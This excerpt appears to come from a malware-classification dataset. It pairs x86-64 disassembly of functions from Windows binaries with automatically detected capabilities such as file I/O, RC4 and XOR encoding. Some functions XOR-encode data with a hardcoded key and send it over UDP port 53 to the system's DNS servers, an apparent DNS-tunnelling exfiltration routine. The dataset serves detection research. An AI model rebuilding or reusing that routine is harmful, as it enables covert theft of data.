joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001dec0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x18001dee2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x18001df5c
mov rdi, r14
mov rcx, rbx
call fcn.18001ee80
test rax, rax
jle 0x18001df34
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.180022c10
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18001df4c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18001df54
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x18001def6
sub r14, rdi
jmp 0x18001e049
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x18001df73
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18001df75
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18001dfaa
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.180022c10
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18001e046
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x18001dfe5
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x18001e021
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.180029c40
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x18001e05f
cmp rbp, rax
ja 0x18001dff1
mov r8, rdi
test rdi, rdi
je 0x18001e046
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.180029c40
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x18001e049
Function at 0x18001e460
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x180076010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x18001e48d
xor eax, eax
jmp 0x18001e5d3
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x18001e4c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x18001e4c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x18001e5d3
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x18001e5c6
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18001e50a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x18001e519
movsx ecx, dil
jmp 0x18001e56d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
je 0x18001e587
sub eax, 1
je 0x18001e587
cmp eax, 2
jne 0x18001e5c6
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.180028cc0
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18001e5cb
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x18001e5b4
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.18002995c
cmp rsi, rax
jne 0x18001e5c6
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x18001e5cb
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.18001f570
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14001a750
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x14001a7e0
cmp r11, r10
ja 0x14001a856
cmp r10, rdx
ja 0x14001a86a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x14001a7e2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x14001a7c0
jmp 0x14001a844
ja 0x14001a7ea
mov r11, r10
cmp rax, r8
jne 0x14001a784
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14001a820
mov rdi, r8
sub ecx, edx
jns 0x14001a83b
jmp 0x14001a846
cmp r8, rsi
je 0x14001a87b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14001a846
xor al, 1
cmp rdi, rsi
jne 0x14001a800
jmp 0x14001a846
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, [0x14139b1e0]
mov rcx, r11
mov rdx, r10
call fcn.1400514f0
ud2
lea r8, [0x14139b1e0]
mov rcx, r10
call fcn.1400512c0
ud2
lea rcx, [0x14139f880]
lea r8, [0x14139b1c8]
mov edx, 0x2b
call fcn.140051330
ud2

Function at 0x140020030
Capabilities:
Encode data using xor

Disassembly:
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae fcn.140017dc0
cmp rax, rcx
je 0x140020055
cmp rdx, 4
jae 0x140020058
xor eax, eax
xor r8d, r8d
jmp 0x1400200f0
xor eax, eax
ret
mov r8, rdx
and r8, 0xfffffffffffffffc
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x140053720]
movdqa xmm3, xmmword [0x140053530]
pxor xmm1, xmm1
nop dword [rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140020080
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140020107
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x1400200f0
ret
Function at 0x140021080
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x1400210db
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x1400210db
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x1400210f6
cmp eax, 0x42
jne 0x1400210db
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x1400211a6
cmp byte [r9 + r11], 0x5f
jne 0x1400211a6
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x14002120e
mov rcx, rsi
xor edx, edx
call fcn.14001c7e0
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.14001c7e0
test al, al
jne 0x1400212a1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140021132
lea rdx, [0x14139f17b]
mov r8d, 1
call fcn.140018350
test al, al
jne 0x1400212a1
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x1400210ea
xor r14d, r14d
lea rbx, [0x14139f530]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x140021164
cmp byte [rax + rcx], 0x45
je 0x1400212ca
sub r14, 1
jb 0x140021189
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140021189
mov r8d, 2
mov rdx, rbx
call fcn.140018350
test al, al
jne 0x1400212a1
mov rcx, rsi
call fcn.14001e030
test al, al
jne 0x1400212a1
mov rax, qword [rsi]
test rax, rax
jne 0x140021150
jmp 0x1400210ea
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x140021268
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x140021202
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x1400211ec
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x1400211db
add dl, 0xa9
jmp 0x1400211ea
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x140021268
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x140021268
movzx edx, bl
add rax, rdx
jae 0x1400211b0
jmp 0x140021268
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x140021268
cmp rax, rcx
jae 0x140021265
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x1400212a9
cmp qword [rsi + 0x20], 0
je 0x1400212c3
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.140021080
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x1400210ec
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400212b8
lea rax, [0x14139f4e0]
lea rdx, [0x14139f4f0]
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140018350
test al, al
je 0x1400212b8
mov dil, 2
jmp 0x1400210ea
mov dil, 1
xor r8d, r8d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x140021273
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x1400210ea
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x1400210ea
Function at 0x140025550
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x1413a2028]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x1400255c3
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1400255fa
test eax, eax
js 0x1400255d4
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400255ed
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, [0x1413a2088]
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.140024290
lea rcx, [rsp + 0x58]
mov rdx, rsi
call fcn.140023950
mov rcx, rax
call fcn.140023a90
mov ecx, 7
int 0x29
ud2
Function at 0x14002d230
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
movups xmm0, xmmword [0x1413a2028]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x14002d29c
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x14002d2ab
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x14002d2e3
cmp eax, 0x103
je 0x14002d2ed
test eax, eax
js 0x14002d2c8
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14002d2e3
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, [0x1413a2088]
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.140024290
lea rcx, [rsp + 0x58]
mov rdx, rsi
call fcn.140023950
mov rcx, rax
call fcn.140023a90
mov ecx, 7
int 0x29
ud2
Function at 0x14003b930
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1098
call fcn.140042e20
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1000], xmm6
mov qword [rbp + 0xff8], 0xfffffffffffffffe
mov qword [rbp + 0xfd8], rdx
mov r14, rcx
lea rsi, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call fcn.1400436a0
mov dword [rbp + 0xfec], 0
xorps xmm6, xmm6
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
lea r15, [rbp + 0xfec]
mov qword [rbp + 0xfc8], r15
lea r12, case.0x14002e304.214
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0xfb0]
mov rcx, r14
mov rdx, rsi
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
test eax, eax
je 0x14003bb1e
mov r13, qword [sym.imp.KERNEL32.dll_SleepEx]
lea rsi, [rbp + 0xfb0]
mov rdi, qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov qword [rbp + 0xfe0], r14
mov ecx, 0xffffffff
mov edx, 1
call r13
cmp dword [rbp + 0xfec], 0
je 0x14003b9f7
cmp dword [rbp + 0xff0], 0
jne 0x14003bb33
mov ebx, dword [rbp + 0xff4]
test rbx, rbx
je 0x14003bb33
cmp ebx, 0x1000
ja 0x14003bb77
xor r14d, r14d
nop dword [rax + rax]
cmp r14, rbx
ja 0x14003bb63
lea rdx, [r14 + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, ebx
sub r8d, r14d
mov dword [rbp + 0xfec], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r15
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0xfd8]
mov r9, rsi
call rdi
test eax, eax
je 0x14003bb26
nop word cs:[rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call r13
cmp dword [rbp + 0xfec], 0
je 0x14003baa0
cmp dword [rbp + 0xff0], 0
jne 0x14003bb2c
mov eax, dword [rbp + 0xff4]
add r14, rax
cmp r14, rbx
jne 0x14003ba40
mov dword [rbp + 0xfec], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r15
mov qword [rsp + 0x20], r12
mov r14, qword [rbp + 0xfe0]
mov rcx, r14
lea rdx, [rbp - 0x50]
mov r8d, 0x1000
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
test eax, eax
jne 0x14003b9f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14003bb33
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14, qword [rbp + 0xfe0]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call rsi
mov rcx, qword [rbp + 0xfd8]
call rsi
movaps xmm6, xmmword [rbp + 0x1000]
add rsp, 0x1098
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x1413a2370]
mov rcx, r14
mov rdx, rbx
call fcn.1400514f0
jmp 0x14003bb8b
lea r8, [0x1413a2370]
mov edx, 0x1000
mov rcx, rbx
call fcn.1400512c0
ud2
Function at 0x14003bbe0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14003bc1f
mov rax, qword [rbp - 0x20]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x140029d60]
mov qword [rbp - 0x28], rax
lea rax, [0x1413a24e8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, [0x1413a2520]
lea rcx, [rbp - 0x60]
call fcn.1400511a0
ud2

Function at 0x14003da70
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rdi, rdx
cmp qword [rdx], 0
jne 0x14003db7f
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx + 8]
test rax, rax
jne 0x14003daa8
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x14003db42
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x14003db61
sub rax, rdx
add rdx, qword [rbx]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rsp + 0x30], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rsp + 0x30]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14003dafe
mov eax, dword [rsp + 0x30]
mov ecx, 2
test rax, rax
jne 0x14003db1b
jmp 0x14003db10
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x14003db16
cmp eax, 0x6d
jne 0x14003db32
mov byte [rsi + 1], 0
jmp 0x14003db26
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
xor eax, eax
mov byte [rsi], al
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x14003db28
mov r8d, 0x10
mov rcx, rbx
call fcn.140051010
mov rax, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x14003dab5
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.140051010
mov rax, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
jmp 0x14003dab5
mov qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400523e0
ud2

Function at 0x14004742c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140047228
Function at 0x180001564
Capabilities:
Encode data using xor

Disassembly:
xor r11d, r11d
mov r9, rdx
test r8d, r8d
je 0x1800015af
mov r10, rdx
sub r10, rcx
movsxd rax, r11d
lea rdx, str.KEY_PASSWORD
mov al, byte [rax + rdx]
xor al, byte [rcx]
mov byte [r10 + rcx], al
inc rcx
inc r11d
mov eax, 0x84210843
imul r11d
add edx, r11d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
sub r11d, eax
sub r8d, 1
jne 0x180001575
mov rax, r9
ret

Function at 0x1800018b8
Capabilities:
Encode data using xor
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], r9
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov esi, edx
mov edi, 2
mov edx, edi
mov ebx, r8d
mov r13, rcx
call fcn.1800030b0
mov eax, dword [0x180005334]
lea r10, [r13 + 2]
mov dword [r10], eax
xor r8d, r8d
mov dword [r13 + 6], 0x11223344
movzx eax, word [0x180005330]
mov word [r13 + 0xa], ax
mov dword [r13 + 0xc], ebx
cmp esi, edi
jle 0x180001951
movsxd rax, r8d
lea rdx, str.KEY_PASSWORD
mov ecx, edi
inc edi
and ecx, 1
mov cl, byte [rcx + r13]
xor cl, byte [rax + rdx]
mov eax, 0x84210843
xor byte [r10], cl
inc r10
inc r8d
imul r8d
add edx, r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
sub r8d, eax
cmp edi, esi
jl 0x180001911
mov r12, qword [rsp + 0x80]
xor edi, edi
xor ebx, ebx
mov dword [rsp + 0x68], 3
xor r15d, r15d
xor r14d, r14d
lea eax, [rdi + 0x26]
mov ebp, 0x26
cmp eax, esi
jle 0x18000197b
mov ebp, esi
sub ebp, edi
movsxd rax, r15d
mov edx, ebp
imul r8, rax, 0xe0
movsxd rcx, ebx
add r8, rcx
movsxd rcx, edi
add rcx, r13
add r8, r12
call fcn.1800016bc
add ebx, eax
add edi, ebp
movsxd rcx, ebx
inc ebx
add rcx, r14
sub dword [rsp + 0x68], 1
mov byte [rcx + r12], 0x2e
je 0x1800019b7
cmp edi, esi
jne 0x18000196b
mov rcx, qword [rsp + 0x78]
mov dl, byte [rcx]
test dl, dl
je 0x1800019e0
mov r8, rcx
movsxd rax, ebx
lea rcx, [r14 + rax]
add rcx, r12
inc r8
mov byte [rcx], dl
inc ebx
inc rcx
mov dl, byte [r8]
test dl, dl
jne 0x1800019cf
movsxd rcx, ebx
inc r15d
add rcx, r14
mov dword [rsp + 0x68], 3
add r14, 0xe0
mov byte [rcx + r12], 0
cmp edi, esi
je 0x180001a08
xor ebx, ebx
jmp 0x18000196b
mov rbx, qword [rsp + 0x60]
mov eax, r15d
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180001a20
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r9d, r9d
mov rdi, rdx
mov r11, rcx
mov r10d, r9d
lea ebx, [r9 + 0x21]
movsxd rax, dword [r11 + 0x10c]
mov rcx, r10
imul r8, rax, 0x21
movabs rax, 0x842108421084211
mul r10
add r8, r9
mov rax, r10
sub rax, rdx
inc r10
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x1f
sub rcx, rax
mov al, byte [r8 + r11]
xor al, byte [rcx + r11 + 0x114]
mov byte [r9 + rdi], al
inc r9
sub rbx, 1
jne 0x180001a3a
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
Function at 0x180001ba8
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x188]
sub rsp, 0x260
xor ebx, ebx
xor r14d, r14d
cmp dword [0x180005134], ebx
mov r13d, r8d
mov r12d, edx
mov r15, rcx
jle 0x180001d1c
mov edx, dword [0x180005130]
lea ecx, [rbx + 2]
movsxd rdi, edx
lea rax, [0x1800052b0]
shl rdi, 4
xor r8d, r8d
mov edx, ecx
add rdi, rax
call sub.WS2_32.dll_socket
mov rsi, rax
cmp eax, 0xffffffff
je 0x180001d3f
xor edx, edx
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 0x10]
call fcn.180003034
mov rcx, rdi
mov dword [rsp + 0x38], 0x35000002
call sub.WS2_32.dll_inet_addr
mov dword [rsp + 0x3c], eax
xor edi, edi
movsxd rsi, esi
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], select
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov r8d, r12d
mov rdx, r15
mov rcx, rsi
call sub.WS2_32.dll_sendto
cmp eax, 0xffffffff
je 0x180001ce6
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x50], 1
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rsi
xor ecx, ecx
mov dword [rsp + 0x34], 0x2dc6c0
call sub.WS2_32.dll_select
test eax, eax
jne 0x180001cac
inc edi
cmp edi, 5
jl 0x180001c41
jmp 0x180001ce8
lea rax, [rbp + 0x1a8]
mov dword [rbp + 0x1a8], select
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x38]
mov r8d, r13d
mov rdx, r15
mov qword [rsp + 0x20], rax
mov rcx, rsi
call sub.WS2_32.dll_recvfrom
xor ebx, ebx
test eax, eax
cmovg ebx, eax
jmp 0x180001ce8
xor ebx, ebx
mov rcx, rsi
call sub.WS2_32.dll_closesocket
test ebx, ebx
jne 0x180001d1c
mov eax, dword [0x180005130]
lea ecx, [rbx + 2]
inc eax
inc r14d
cdq
idiv dword [0x180005134]
cmp r14d, dword [0x180005134]
mov dword [0x180005130], edx
jl 0x180001bf1
mov eax, ebx
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor eax, eax
jmp 0x180001d1e

Function at 0x180001db8
Capabilities:
Get networking parameters

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
and dword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetNetworkParams]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x180001e1a
mov ecx, eax
call fcn.18000309c
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.IPHLPAPI.DLL_GetNetworkParams]
test eax, eax
jne 0x180001e12
lea rbx, [rdi + 0x110]
jmp 0x180001e0d
lea rcx, [rbx + 8]
call fcn.1800015b4
mov rbx, qword [rbx]
test rbx, rbx
jne 0x180001e01
mov rcx, rdi
call fcn.180003088
